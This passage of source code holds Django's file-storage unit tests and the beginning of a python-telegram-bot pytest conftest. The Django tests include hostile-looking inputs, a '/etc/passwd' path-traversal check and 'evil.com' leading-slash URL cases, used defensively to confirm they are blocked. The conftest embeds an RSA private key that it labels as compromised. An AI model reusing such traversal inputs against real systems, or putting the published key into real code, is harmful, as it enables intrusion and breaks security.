mtime, datetime.fromtimestamp(os.path.getmtime(self.storage.path(f_name)))
)
self.assertLess(
timezone.now() - self.storage.get_modified_time(f_name),
timedelta(seconds=2),
)
@requires_tz_support
def test_file_get_modified_time_timezone(self):
self._test_file_time_getter(self.storage.get_modified_time)
def test_file_save_without_name(self):
"""
File storage extracts the filename from the content object if no
name is given explicitly.
"""
self.assertFalse(self.storage.exists("test.file"))
f = ContentFile("custom contents")
f.name = "test.file"
storage_f_name = self.storage.save(None, f)
self.assertEqual(storage_f_name, f.name)
self.assertTrue(os.path.exists(os.path.join(self.temp_dir, f.name)))
self.storage.delete(storage_f_name)
def test_file_save_with_path(self):
"""
Saving a pathname should create intermediate directories as necessary.
"""
self.assertFalse(self.storage.exists("path/to"))
self.storage.save("path/to/test.file", ContentFile("file saved with path"))
self.assertTrue(self.storage.exists("path/to"))
with self.storage.open("path/to/test.file") as f:
self.assertEqual(f.read(), b"file saved with path")
self.assertTrue(
os.path.exists(os.path.join(self.temp_dir, "path", "to", "test.file"))
)
self.storage.delete("path/to/test.file")
def test_file_save_abs_path(self):
test_name = "path/to/test.file"
f = ContentFile("file saved with path")
f_name = self.storage.save(os.path.join(self.temp_dir, test_name), f)
self.assertEqual(f_name, test_name)
@unittest.skipUnless(
symlinks_supported(), "Must be able to symlink to run this test."
)
def test_file_save_broken_symlink(self):
"""A new path is created on save when a broken symlink is supplied."""
nonexistent_file_path = os.path.join(self.temp_dir, "nonexistent.txt")
broken_symlink_path = os.path.join(self.temp_dir, "symlink.txt")
os.symlink(nonexistent_file_path, broken_symlink_path)
f = ContentFile("some content")
f_name = self.storage.save(broken_symlink_path, f)
self.assertIs(os.path.exists(os.path.join(self.temp_dir, f_name)), True)
def test_save_doesnt_close(self):
with TemporaryUploadedFile("test", "text/plain", 1, "utf8") as file:
file.write(b"1")
file.seek(0)
self.assertFalse(file.closed)
self.storage.save("path/to/test.file", file)
self.assertFalse(file.closed)
self.assertFalse(file.file.closed)
file = InMemoryUploadedFile(StringIO("1"), "", "test", "text/plain", 1, "utf8")
with file:
self.assertFalse(file.closed)
self.storage.save("path/to/test.file", file)
self.assertFalse(file.closed)
self.assertFalse(file.file.closed)
def test_file_path(self):
"""
File storage returns the full path of a file
"""
self.assertFalse(self.storage.exists("test.file"))
f = ContentFile("custom contents")
f_name = self.storage.save("test.file", f)
self.assertEqual(self.storage.path(f_name), os.path.join(self.temp_dir, f_name))
self.storage.delete(f_name)
def test_file_url(self):
"""
File storage returns a url to access a given file from the web.
"""
self.assertEqual(
self.storage.url("test.file"), self.storage.base_url + "test.file"
)
# should encode special chars except ~!*()'
# like encodeURIComponent() JavaScript function do
self.assertEqual(
self.storage.url(r"~!*()'@#$%^&*abc`+ =.file"),
"/test_media_url/~!*()'%40%23%24%25%5E%26*abc%60%2B%20%3D.file",
)
self.assertEqual(self.storage.url("ab\0c"), "/test_media_url/ab%00c")
# should translate os path separator(s) to the url path separator
self.assertEqual(
self.storage.url("""a/b\\c.file"""), "/test_media_url/a/b/c.file"
)
# #25905: remove leading slashes from file names to prevent unsafe url output
self.assertEqual(self.storage.url("/evil.com"), "/test_media_url/evil.com")
self.assertEqual(self.storage.url(r"\evil.com"), "/test_media_url/evil.com")
self.assertEqual(self.storage.url("///evil.com"), "/test_media_url/evil.com")
self.assertEqual(self.storage.url(r"\\\evil.com"), "/test_media_url/evil.com")
self.assertEqual(self.storage.url(None), "/test_media_url/")
def test_base_url(self):
"""
File storage returns a url even when its base_url is unset or modified.
"""
self.storage.base_url = None
with self.assertRaises(ValueError):
self.storage.url("test.file")
# #22717: missing ending slash in base_url should be auto-corrected
storage = self.storage_class(
location=self.temp_dir, base_url="/no_ending_slash"
)
self.assertEqual(
storage.url("test.file"), "%s%s" % (storage.base_url, "test.file")
)
def test_listdir(self):
"""
File storage returns a tuple containing directories and files.
"""
self.assertFalse(self.storage.exists("storage_test_1"))
self.assertFalse(self.storage.exists("storage_test_2"))
self.assertFalse(self.storage.exists("storage_dir_1"))
self.storage.save("storage_test_1", ContentFile("custom content"))
self.storage.save("storage_test_2", ContentFile("custom content"))
os.mkdir(os.path.join(self.temp_dir, "storage_dir_1"))
self.addCleanup(self.storage.delete, "storage_test_1")
self.addCleanup(self.storage.delete, "storage_test_2")
for directory in ("", Path("")):
with self.subTest(directory=directory):
dirs, files = self.storage.listdir(directory)
self.assertEqual(set(dirs), {"storage_dir_1"})
self.assertEqual(set(files), {"storage_test_1", "storage_test_2"})
def test_file_storage_prevents_directory_traversal(self):
"""
File storage prevents directory traversal (files can only be accessed if
they're below the storage location).
"""
with self.assertRaises(SuspiciousFileOperation):
self.storage.exists("..")
with self.assertRaises(SuspiciousFileOperation):
self.storage.exists("/etc/passwd")
def test_file_storage_preserves_filename_case(self):
"""The storage backend should preserve case of filenames."""
# Create a storage backend associated with the mixed case name
# directory.
other_temp_storage = self.storage_class(location=self.temp_dir2)
# Ask that storage backend to store a file with a mixed case filename.
mixed_case = "CaSe_SeNsItIvE"
file = other_temp_storage.open(mixed_case, "w")
file.write("storage contents")
file.close()
self.assertEqual(
os.path.join(self.temp_dir2, mixed_case),
other_temp_storage.path(mixed_case),
)
other_temp_storage.delete(mixed_case)
def test_makedirs_race_handling(self):
"""
File storage should be robust against directory creation race conditions.
"""
real_makedirs = os.makedirs
# Monkey-patch os.makedirs, to simulate a normal call, a raced call,
# and an error.
def fake_makedirs(path, mode=0o777, exist_ok=False):
if path == os.path.join(self.temp_dir, "normal"):
real_makedirs(path, mode, exist_ok)
elif path == os.path.join(self.temp_dir, "raced"):
real_makedirs(path, mode, exist_ok)
if not exist_ok:
raise FileExistsError()
elif path == os.path.join(self.temp_dir, "error"):
raise PermissionError()
else:
self.fail("unexpected argument %r" % path)
try:
os.makedirs = fake_makedirs
self.storage.save("normal/test.file", ContentFile("saved normally"))
with self.storage.open("normal/test.file") as f:
self.assertEqual(f.read(), b"saved normally")
self.storage.save("raced/test.file", ContentFile("saved with race"))
with self.storage.open("raced/test.file") as f:
self.assertEqual(f.read(), b"saved with race")
# Exceptions aside from FileExistsError are raised.
with self.assertRaises(PermissionError):
self.storage.save("error/test.file", ContentFile("not saved"))
finally:
os.makedirs = real_makedirs
def test_remove_race_handling(self):
"""
File storage should be robust against file removal race conditions.
"""
real_remove = os.remove
# Monkey-patch os.remove, to simulate a normal call, a raced call,
# and an error.
def fake_remove(path):
if path == os.path.join(self.temp_dir, "normal.file"):
real_remove(path)
elif path == os.path.join(self.temp_dir, "raced.file"):
real_remove(path)
raise FileNotFoundError()
elif path == os.path.join(self.temp_dir, "error.file"):
raise PermissionError()
else:
self.fail("unexpected argument %r" % path)
try:
os.remove = fake_remove
self.storage.save("normal.file", ContentFile("delete normally"))
self.storage.delete("normal.file")
self.assertFalse(self.storage.exists("normal.file"))
self.storage.save("raced.file", ContentFile("delete with race"))
self.storage.delete("raced.file")
self.assertFalse(self.storage.exists("normal.file"))
# Exceptions aside from FileNotFoundError are raised.
self.storage.save("error.file", ContentFile("delete with error"))
with self.assertRaises(PermissionError):
self.storage.delete("error.file")
finally:
os.remove = real_remove
def test_file_chunks_error(self):
"""
Test behavior when file.chunks() is raising an error
"""
f1 = ContentFile("chunks fails")
def failing_chunks():
raise OSError
f1.chunks = failing_chunks
with self.assertRaises(OSError):
self.storage.save("error.file", f1)
def test_delete_no_name(self):
"""
Calling delete with an empty name should not try to remove the base
storage directory, but fail loudly (#20660).
"""
msg = "The name must be given to delete()."
with self.assertRaisesMessage(ValueError, msg):
self.storage.delete(None)
with self.assertRaisesMessage(ValueError, msg):
self.storage.delete("")
def test_delete_deletes_directories(self):
tmp_dir = tempfile.mkdtemp(dir=self.storage.location)
self.storage.delete(tmp_dir)
self.assertFalse(os.path.exists(tmp_dir))
@override_settings(
MEDIA_ROOT="media_root",
MEDIA_URL="media_url/",
FILE_UPLOAD_PERMISSIONS=0o777,
FILE_UPLOAD_DIRECTORY_PERMISSIONS=0o777,
)
def test_setting_changed(self):
"""
Properties using settings values as defaults should be updated on
referenced settings change while specified values should be unchanged.
"""
storage = self.storage_class(
location="explicit_location",
base_url="explicit_base_url/",
file_permissions_mode=0o666,
directory_permissions_mode=0o666,
)
defaults_storage = self.storage_class()
settings = {
"MEDIA_ROOT": "overridden_media_root",
"MEDIA_URL": "/overridden_media_url/",
"FILE_UPLOAD_PERMISSIONS": 0o333,
"FILE_UPLOAD_DIRECTORY_PERMISSIONS": 0o333,
}
with self.settings(**settings):
self.assertEqual(storage.base_location, "explicit_location")
self.assertIn("explicit_location", storage.location)
self.assertEqual(storage.base_url, "explicit_base_url/")
self.assertEqual(storage.file_permissions_mode, 0o666)
self.assertEqual(storage.directory_permissions_mode, 0o666)
self.assertEqual(defaults_storage.base_location, settings["MEDIA_ROOT"])
self.assertIn(settings["MEDIA_ROOT"], defaults_storage.location)
self.assertEqual(defaults_storage.base_url, settings["MEDIA_URL"])
self.assertEqual(
defaults_storage.file_permissions_mode,
settings["FILE_UPLOAD_PERMISSIONS"],
)
self.assertEqual(
defaults_storage.directory_permissions_mode,
settings["FILE_UPLOAD_DIRECTORY_PERMISSIONS"],
)
def test_file_methods_pathlib_path(self):
p = Path("test.file")
self.assertFalse(self.storage.exists(p))
f = ContentFile("custom contents")
f_name = self.storage.save(p, f)
# Storage basic methods.
self.assertEqual(self.storage.path(p), os.path.join(self.temp_dir, p))
self.assertEqual(self.storage.size(p), 15)
self.assertEqual(self.storage.url(p), self.storage.base_url + f_name)
with self.storage.open(p) as f:
self.assertEqual(f.read(), b"custom contents")
self.addCleanup(self.storage.delete, p)
class CustomStorage(FileSystemStorage):
def get_available_name(self, name, max_length=None):
"""
Append numbers to duplicate files rather than underscores, like Trac.
"""
basename, *ext = os.path.splitext(name)
number = 2
while self.exists(name):
name = "".join([basename, ".", str(number)] + ext)
number += 1
return name
class CustomStorageTests(FileStorageTests):
storage_class = CustomStorage
def test_custom_get_available_name(self):
first = self.storage.save("custom_storage", ContentFile("custom contents"))
self.assertEqual(first, "custom_storage")
second = self.storage.save("custom_storage", ContentFile("more contents"))
self.assertEqual(second, "custom_storage.2")
self.storage.delete(first)
self.storage.delete(second)
class OverwritingStorage(FileSystemStorage):
"""
Overwrite existing files instead of appending a suffix to generate an
unused name.
"""
# Mask out O_EXCL so os.open() doesn't raise OSError if the file exists.
OS_OPEN_FLAGS = FileSystemStorage.OS_OPEN_FLAGS & ~os.O_EXCL
def get_available_name(self, name, max_length=None):
"""Override the effort to find an used name."""
return name
class OverwritingStorageTests(FileStorageTests):
storage_class = OverwritingStorage
def test_save_overwrite_behavior(self):
"""Saving to same file name twice overwrites the first file."""
name = "test.file"
self.assertFalse(self.storage.exists(name))
content_1 = b"content one"
content_2 = b"second content"
f_1 = ContentFile(content_1)
f_2 = ContentFile(content_2)
stored_name_1 = self.storage.save(name, f_1)
try:
self.assertEqual(stored_name_1, name)
self.assertTrue(self.storage.exists(name))
self.assertTrue(os.path.exists(os.path.join(self.temp_dir, name)))
with self.storage.open(name) as fp:
self.assertEqual(fp.read(), content_1)
stored_name_2 = self.storage.save(name, f_2)
self.assertEqual(stored_name_2, name)
self.assertTrue(self.storage.exists(name))
self.assertTrue(os.path.exists(os.path.join(self.temp_dir, name)))
with self.storage.open(name) as fp:
self.assertEqual(fp.read(), content_2)
finally:
self.storage.delete(name)
class DiscardingFalseContentStorage(FileSystemStorage):
def _save(self, name, content):
if content:
return super()._save(name, content)
return ""
class DiscardingFalseContentStorageTests(FileStorageTests):
storage_class = DiscardingFalseContentStorage
def test_custom_storage_discarding_empty_content(self):
"""
When Storage.save() wraps a file-like object in File, it should include
the name argument so that bool(file) evaluates to True (#26495).
"""
output = StringIO("content")
self.storage.save("tests/stringio", output)
self.assertTrue(self.storage.exists("tests/stringio"))
with self.storage.open("tests/stringio") as f:
self.assertEqual(f.read(), b"content")
class FileFieldStorageTests(TestCase):
def tearDown(self):
shutil.rmtree(temp_storage_location)
def _storage_max_filename_length(self, storage):
"""
Query filesystem for maximum filename length (e.g. AUFS has 242).
"""
dir_to_test = storage.location
while not os.path.exists(dir_to_test):
dir_to_test = os.path.dirname(dir_to_test)
try:
return os.pathconf(dir_to_test, "PC_NAME_MAX")
except Exception:
return 255 # Should be safe on most backends
def test_files(self):
self.assertIsInstance(Storage.normal, FileDescriptor)
# An object without a file has limited functionality.
obj1 = Storage()
self.assertEqual(obj1.normal.name, "")
with self.assertRaises(ValueError):
obj1.normal.size
# Saving a file enables full functionality.
obj1.normal.save("django_test.txt", ContentFile("content"))
self.assertEqual(obj1.normal.name, "tests/django_test.txt")
self.assertEqual(obj1.normal.size, 7)
self.assertEqual(obj1.normal.read(), b"content")
obj1.normal.close()
# File objects can be assigned to FileField attributes, but shouldn't
# get committed until the model it's attached to is saved.
obj1.normal = SimpleUploadedFile("assignment.txt", b"content")
dirs, files = temp_storage.listdir("tests")
self.assertEqual(dirs, [])
self.assertNotIn("assignment.txt", files)
obj1.save()
dirs, files = temp_storage.listdir("tests")
self.assertEqual(sorted(files), ["assignment.txt", "django_test.txt"])
# Save another file with the same name.
obj2 = Storage()
obj2.normal.save("django_test.txt", ContentFile("more content"))
obj2_name = obj2.normal.name
self.assertRegex(obj2_name, "tests/django_test_%s.txt" % FILE_SUFFIX_REGEX)
self.assertEqual(obj2.normal.size, 12)
obj2.normal.close()
# Deleting an object does not delete the file it uses.
obj2.delete()
obj2.normal.save("django_test.txt", ContentFile("more content"))
self.assertNotEqual(obj2_name, obj2.normal.name)
self.assertRegex(
obj2.normal.name, "tests/django_test_%s.txt" % FILE_SUFFIX_REGEX
)
obj2.normal.close()
def test_filefield_read(self):
# Files can be read in a little at a time, if necessary.
obj = Storage.objects.create(
normal=SimpleUploadedFile("assignment.txt", b"content")
)
obj.normal.open()
self.assertEqual(obj.normal.read(3), b"con")
self.assertEqual(obj.normal.read(), b"tent")
self.assertEqual(
list(obj.normal.chunks(chunk_size=2)), [b"co", b"nt", b"en", b"t"]
)
obj.normal.close()
def test_filefield_write(self):
# Files can be written to.
obj = Storage.objects.create(
normal=SimpleUploadedFile("rewritten.txt", b"content")
)
with obj.normal as normal:
normal.open("wb")
normal.write(b"updated")
obj.refresh_from_db()
self.assertEqual(obj.normal.read(), b"updated")
obj.normal.close()
def test_filefield_reopen(self):
obj = Storage.objects.create(
normal=SimpleUploadedFile("reopen.txt", b"content")
)
with obj.normal as normal:
normal.open()
obj.normal.open()
obj.normal.file.seek(0)
obj.normal.close()
def test_duplicate_filename(self):
# Multiple files with the same name get _(7 random chars) appended to them.
objs = [Storage() for i in range(2)]
for o in objs:
o.normal.save("multiple_files.txt", ContentFile("Same Content"))
try:
names = [o.normal.name for o in objs]
self.assertEqual(names[0], "tests/multiple_files.txt")
self.assertRegex(
names[1], "tests/multiple_files_%s.txt" % FILE_SUFFIX_REGEX
)
finally:
for o in objs:
o.delete()
def test_file_truncation(self):
# Given the max_length is limited, when multiple files get uploaded
# under the same name, then the filename get truncated in order to fit
# in _(7 random chars). When most of the max_length is taken by
# dirname + extension and there are not enough characters in the
# filename to truncate, an exception should be raised.
objs = [Storage() for i in range(2)]
filename = "filename.ext"
for o in objs:
o.limited_length.save(filename, ContentFile("Same Content"))
try:
# Testing truncation.
names = [o.limited_length.name for o in objs]
self.assertEqual(names[0], "tests/%s" % filename)
self.assertRegex(names[1], "tests/fi_%s.ext" % FILE_SUFFIX_REGEX)
# Testing exception is raised when filename is too short to truncate.
filename = "short.longext"
objs[0].limited_length.save(filename, ContentFile("Same Content"))
with self.assertRaisesMessage(
SuspiciousFileOperation, "Storage can not find an available filename"
):
objs[1].limited_length.save(*(filename, ContentFile("Same Content")))
finally:
for o in objs:
o.delete()
@unittest.skipIf(
sys.platform == "win32",
"Windows supports at most 260 characters in a path.",
)
def test_extended_length_storage(self):
# Testing FileField with max_length > 255. Most systems have filename
# length limitation of 255. Path takes extra chars.
filename = (
self._storage_max_filename_length(temp_storage) - 4
) * "a" # 4 chars for extension.
obj = Storage()
obj.extended_length.save("%s.txt" % filename, ContentFile("Same Content"))
self.assertEqual(obj.extended_length.name, "tests/%s.txt" % filename)
self.assertEqual(obj.extended_length.read(), b"Same Content")
obj.extended_length.close()
def test_filefield_default(self):
# Default values allow an object to access a single file.
temp_storage.save("tests/default.txt", ContentFile("default content"))
obj = Storage.objects.create()
self.assertEqual(obj.default.name, "tests/default.txt")
self.assertEqual(obj.default.read(), b"default content")
obj.default.close()
# But it shouldn't be deleted, even if there are no more objects using
# it.
obj.delete()
obj = Storage()
self.assertEqual(obj.default.read(), b"default content")
obj.default.close()
def test_empty_upload_to(self):
# upload_to can be empty, meaning it does not use subdirectory.
obj = Storage()
obj.empty.save("django_test.txt", ContentFile("more content"))
self.assertEqual(obj.empty.name, "django_test.txt")
self.assertEqual(obj.empty.read(), b"more content")
obj.empty.close()
def test_pathlib_upload_to(self):
obj = Storage()
obj.pathlib_callable.save("some_file1.txt", ContentFile("some content"))
self.assertEqual(obj.pathlib_callable.name, "bar/some_file1.txt")
obj.pathlib_direct.save("some_file2.txt", ContentFile("some content"))
self.assertEqual(obj.pathlib_direct.name, "bar/some_file2.txt")
obj.random.close()
def test_random_upload_to(self):
# Verify the fix for #5655, making sure the directory is only
# determined once.
obj = Storage()
obj.random.save("random_file", ContentFile("random content"))
self.assertTrue(obj.random.name.endswith("/random_file"))
obj.random.close()
def test_custom_valid_name_callable_upload_to(self):
"""
Storage.get_valid_name() should be called when upload_to is a callable.
"""
obj = Storage()
obj.custom_valid_name.save("random_file", ContentFile("random content"))
# CustomValidNameStorage.get_valid_name() appends '_valid' to the name
self.assertTrue(obj.custom_valid_name.name.endswith("/random_file_valid"))
obj.custom_valid_name.close()
def test_filefield_pickling(self):
# Push an object into the cache to make sure it pickles properly
obj = Storage()
obj.normal.save("django_test.txt", ContentFile("more content"))
obj.normal.close()
cache.set("obj", obj)
self.assertEqual(cache.get("obj").normal.name, "tests/django_test.txt")
def test_file_object(self):
# Create sample file
temp_storage.save("tests/example.txt", ContentFile("some content"))
# Load it as Python file object
with open(temp_storage.path("tests/example.txt")) as file_obj:
# Save it using storage and read its content
temp_storage.save("tests/file_obj", file_obj)
self.assertTrue(temp_storage.exists("tests/file_obj"))
with temp_storage.open("tests/file_obj") as f:
self.assertEqual(f.read(), b"some content")
def test_stringio(self):
# Test passing StringIO instance as content argument to save
output = StringIO()
output.write("content")
output.seek(0)
# Save it and read written file
temp_storage.save("tests/stringio", output)
self.assertTrue(temp_storage.exists("tests/stringio"))
with temp_storage.open("tests/stringio") as f:
self.assertEqual(f.read(), b"content")
class FieldCallableFileStorageTests(SimpleTestCase):
def setUp(self):
self.temp_storage_location = tempfile.mkdtemp(
suffix="filefield_callable_storage"
)
def tearDown(self):
shutil.rmtree(self.temp_storage_location)
def test_callable_base_class_error_raises(self):
class NotStorage:
pass
msg = (
"FileField.storage must be a subclass/instance of "
"django.core.files.storage.Storage"
)
for invalid_type in (NotStorage, str, list, set, tuple):
with self.subTest(invalid_type=invalid_type):
with self.assertRaisesMessage(TypeError, msg):
FileField(storage=invalid_type)
def test_file_field_storage_none_uses_default_storage(self):
self.assertEqual(FileField().storage, default_storage)
def test_callable_function_storage_file_field(self):
storage = FileSystemStorage(location=self.temp_storage_location)
def get_storage():
return storage
obj = FileField(storage=get_storage)
self.assertEqual(obj.storage, storage)
self.assertEqual(obj.storage.location, storage.location)
def test_callable_class_storage_file_field(self):
class GetStorage(FileSystemStorage):
pass
obj = FileField(storage=GetStorage)
self.assertIsInstance(obj.storage, BaseStorage)
def test_callable_storage_file_field_in_model(self):
obj = Storage()
self.assertEqual(obj.storage_callable.storage, temp_storage)
self.assertEqual(obj.storage_callable.storage.location, temp_storage_location)
self.assertIsInstance(obj.storage_callable_class.storage, BaseStorage)
def test_deconstruction(self):
"""
Deconstructing gives the original callable, not the evaluated value.
"""
obj = Storage()
*_, kwargs = obj._meta.get_field("storage_callable").deconstruct()
storage = kwargs["storage"]
self.assertIs(storage, callable_storage)
# Tests for a race condition on file saving (#4948).
# This is written in such a way that it'll always pass on platforms
# without threading.
class SlowFile(ContentFile):
def chunks(self):
time.sleep(1)
return super().chunks()
class FileSaveRaceConditionTest(SimpleTestCase):
def setUp(self):
self.storage_dir = tempfile.mkdtemp()
self.storage = FileSystemStorage(self.storage_dir)
self.thread = threading.Thread(target=self.save_file, args=["conflict"])
def tearDown(self):
shutil.rmtree(self.storage_dir)
def save_file(self, name):
name = self.storage.save(name, SlowFile(b"Data"))
def test_race_condition(self):
self.thread.start()
self.save_file("conflict")
self.thread.join()
files = sorted(os.listdir(self.storage_dir))
self.assertEqual(files[0], "conflict")
self.assertRegex(files[1], "conflict_%s" % FILE_SUFFIX_REGEX)
@unittest.skipIf(
sys.platform == "win32", "Windows only partially supports umasks and chmod."
)
class FileStoragePermissions(unittest.TestCase):
def setUp(self):
self.umask = 0o027
self.old_umask = os.umask(self.umask)
self.storage_dir = tempfile.mkdtemp()
def tearDown(self):
shutil.rmtree(self.storage_dir)
os.umask(self.old_umask)
@override_settings(FILE_UPLOAD_PERMISSIONS=0o654)
def test_file_upload_permissions(self):
self.storage = FileSystemStorage(self.storage_dir)
name = self.storage.save("the_file", ContentFile("data"))
actual_mode = os.stat(self.storage.path(name))[0] & 0o777
self.assertEqual(actual_mode, 0o654)
@override_settings(FILE_UPLOAD_PERMISSIONS=None)
def test_file_upload_default_permissions(self):
self.storage = FileSystemStorage(self.storage_dir)
fname = self.storage.save("some_file", ContentFile("data"))
mode = os.stat(self.storage.path(fname))[0] & 0o777
self.assertEqual(mode, 0o666 & ~self.umask)
@override_settings(FILE_UPLOAD_DIRECTORY_PERMISSIONS=0o765)
def test_file_upload_directory_permissions(self):
self.storage = FileSystemStorage(self.storage_dir)
name = self.storage.save("the_directory/subdir/the_file", ContentFile("data"))
file_path = Path(self.storage.path(name))
self.assertEqual(file_path.parent.stat().st_mode & 0o777, 0o765)
self.assertEqual(file_path.parent.parent.stat().st_mode & 0o777, 0o765)
@override_settings(FILE_UPLOAD_DIRECTORY_PERMISSIONS=None)
def test_file_upload_directory_default_permissions(self):
self.storage = FileSystemStorage(self.storage_dir)
name = self.storage.save("the_directory/subdir/the_file", ContentFile("data"))
file_path = Path(self.storage.path(name))
expected_mode = 0o777 & ~self.umask
self.assertEqual(file_path.parent.stat().st_mode & 0o777, expected_mode)
self.assertEqual(file_path.parent.parent.stat().st_mode & 0o777, expected_mode)
class FileStoragePathParsing(SimpleTestCase):
def setUp(self):
self.storage_dir = tempfile.mkdtemp()
self.storage = FileSystemStorage(self.storage_dir)
def tearDown(self):
shutil.rmtree(self.storage_dir)
def test_directory_with_dot(self):
"""Regression test for #9610.
If the directory name contains a dot and the file name doesn't, make
sure we still mangle the file name instead of the directory name.
"""
self.storage.save("dotted.path/test", ContentFile("1"))
self.storage.save("dotted.path/test", ContentFile("2"))
files = sorted(os.listdir(os.path.join(self.storage_dir, "dotted.path")))
self.assertFalse(os.path.exists(os.path.join(self.storage_dir, "dotted_.path")))
self.assertEqual(files[0], "test")
self.assertRegex(files[1], "test_%s" % FILE_SUFFIX_REGEX)
def test_first_character_dot(self):
"""
File names with a dot as their first character don't have an extension,
and the underscore should get added to the end.
"""
self.storage.save("dotted.path/.test", ContentFile("1"))
self.storage.save("dotted.path/.test", ContentFile("2"))
files = sorted(os.listdir(os.path.join(self.storage_dir, "dotted.path")))
self.assertFalse(os.path.exists(os.path.join(self.storage_dir, "dotted_.path")))
self.assertEqual(files[0], ".test")
self.assertRegex(files[1], ".test_%s" % FILE_SUFFIX_REGEX)
class ContentFileStorageTestCase(unittest.TestCase):
def setUp(self):
self.storage_dir = tempfile.mkdtemp()
self.storage = FileSystemStorage(self.storage_dir)
def tearDown(self):
shutil.rmtree(self.storage_dir)
def test_content_saving(self):
"""
ContentFile can be saved correctly with the filesystem storage,
if it was initialized with either bytes or unicode content.
"""
self.storage.save("bytes.txt", ContentFile(b"content"))
self.storage.save("unicode.txt", ContentFile("español"))
@override_settings(ROOT_URLCONF="file_storage.urls")
class FileLikeObjectTestCase(LiveServerTestCase):
"""
Test file-like objects (#15644).
"""
available_apps = []
def setUp(self):
self.temp_dir = tempfile.mkdtemp()
self.storage = FileSystemStorage(location=self.temp_dir)
def tearDown(self):
shutil.rmtree(self.temp_dir)
def test_urllib_request_urlopen(self):
"""
Test the File storage API with a file-like object coming from
urllib.request.urlopen().
"""
file_like_object = urlopen(self.live_server_url + "/")
f = File(file_like_object)
stored_filename = self.storage.save("remote_file.html", f)
remote_file = urlopen(self.live_server_url + "/")
with self.storage.open(stored_filename) as stored_file:
self.assertEqual(stored_file.read(), remote_file.read())
|
conftest.py | #!/usr/bin/env python
#
# A library that provides a Python interface to the Telegram Bot API
# Copyright (C) 2015-2020
# Leandro Toledo de Souza <devs@python-telegram-bot.org>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser Public License for more details.
#
# You should have received a copy of the GNU Lesser Public License
# along with this program. If not, see [http://www.gnu.org/licenses/].
import datetime
import os
import re
from collections import defaultdict
from queue import Queue
from threading import Thread, Event
from time import sleep
import pytest
from telegram import (Bot, Message, User, Chat, MessageEntity, Update,
InlineQuery, CallbackQuery, ShippingQuery, PreCheckoutQuery,
ChosenInlineResult)
from telegram.ext import Dispatcher, JobQueue, Updater, BaseFilter, Defaults
from telegram.error import BadRequest
from tests.bots import get_bot
GITHUB_ACTION = os.getenv('GITHUB_ACTION', False)
# if GITHUB_ACTION:
# pytest_plugins = ['tests.plugin_github_group']
# THIS KEY IS OBVIOUSLY COMPROMISED
# DO NOT USE IN PRODUCTION!
PRIVATE_KEY = b"-----BEGIN RSA PRIVATE KEY-----\r\nMIIEowIBAAKCAQEA0AvEbNaOnfIL3GjB8VI4M5IaWe+GcK8eSPHkLkXREIsaddum\r\nwPBm/+w8lFYdnY+O06OEJrsaDtwGdU//8cbGJ/H/9cJH3dh0tNbfszP7nTrQD+88\r\nydlcYHzClaG8G+oTe9uEZSVdDXj5IUqR0y6rDXXb9tC9l+oSz+ShYg6+C4grAb3E\r\nSTv5khZ9Zsi/JEPWStqNdpoNuRh7qEYc3t4B/a5BH7bsQENyJSc8AWrfv+drPAEe\r\njQ8xm1ygzWvJp8yZPwOIYuL+obtANcoVT2G2150Wy6qLC0bD88Bm40GqLbSazueC\r\nRHZRug0B9rMUKvKc4FhG4AlNzBCaKgIcCWEqKwIDAQABAoIBACcIjin9d3Sa3S7V\r\nWM32JyVF3DvTfN3XfU8iUzV7U+ZOswA53eeFM04A/Ly4C4ZsUNfUbg72O8Vd8rg/\r\n8j1ilfsYpHVvphwxaHQlfIMa1bKCPlc/A6C7b2GLBtccKTbzjARJA2YWxIaqk9Nz\r\nMjj1IJK98i80qt29xRnMQ5sqOO3gn2SxTErvNchtBiwOH8NirqERXig8VCY6fr3n\r\nz7ZImPU3G/4qpD0+9ULrt9x/VkjqVvNdK1l7CyAuve3D7ha3jPMfVHFtVH5gqbyp\r\nKotyIHAyD+Ex3FQ1JV+H7DkP0cPctQiss7OiO9Zd9C1G2OrfQz9el7ewAPqOmZtC\r\nKjB3hUECgYEA/4MfKa1cvaCqzd3yUprp1JhvssVkhM1HyucIxB5xmBcVLX2/Kdhn\r\nhiDApZXARK0O9IRpFF6QVeMEX7TzFwB6dfkyIePsGxputA5SPbtBlHOvjZa8omMl\r\nEYfNa8x/mJkvSEpzvkWPascuHJWv1cEypqphu/70DxubWB5UKo/8o6cCgYEA0HFy\r\ncgwPMB//nltHGrmaQZPFT7/Qgl9ErZT3G9S8teWY4o4CXnkdU75tBoKAaJnpSfX3\r\nq8VuRerF45AFhqCKhlG4l51oW7TUH50qE3GM+4ivaH5YZB3biwQ9Wqw+QyNLAh/Q\r\nnS4/Wwb8qC9QuyEgcCju5lsCaPEXZiZqtPVxZd0CgYEAshBG31yZjO0zG1TZUwfy\r\nfN3euc8mRgZpSdXIHiS5NSyg7Zr8ZcUSID8jAkJiQ3n3OiAsuq1MGQ6kNa582kLT\r\nFPQdI9Ea8ahyDbkNR0gAY9xbM2kg/Gnro1PorH9PTKE0ekSodKk1UUyNrg4DBAwn\r\nqE6E3ebHXt/2WmqIbUD653ECgYBQCC8EAQNX3AFegPd1GGxU33Lz4tchJ4kMCNU0\r\nN2NZh9VCr3nTYjdTbxsXU8YP44CCKFG2/zAO4kymyiaFAWEOn5P7irGF/JExrjt4\r\nibGy5lFLEq/HiPtBjhgsl1O0nXlwUFzd7OLghXc+8CPUJaz5w42unqT3PBJa40c3\r\nQcIPdQKBgBnSb7BcDAAQ/Qx9juo/RKpvhyeqlnp0GzPSQjvtWi9dQRIu9Pe7luHc\r\nm1Img1EO1OyE3dis/rLaDsAa2AKu1Yx6h85EmNjavBqP9wqmFa0NIQQH8fvzKY3/\r\nP8IHY6009aoamLqYaexvrkHVq7fFKiI6k8myMJ6qblVNFv14+KXU\r\n-----END RSA PRIVATE KEY-----" # noqa: E501
@pytest.fixture(scope='session')
def bot_info():
return get_bot()
@pytest.fixture(scope='session')
def bot(bot_info):
return make_bot(bot_info)
DEFAULT_BOTS = {}
@pytest.fixture(scope='function')
def default_bot(request, bot_info):
param = request.param if hasattr(request, 'param') else {}
defaults = Defaults(**param)
default_bot = DEFAULT_BOTS.get(defaults)
if default_bot:
return default_bot
else:
default_bot = make_bot(bot_info, **{'defaults': defaults})
DEFAULT_BOTS[defaults] = default_bot
return default_bot
@pytest.fixture(scope='session')
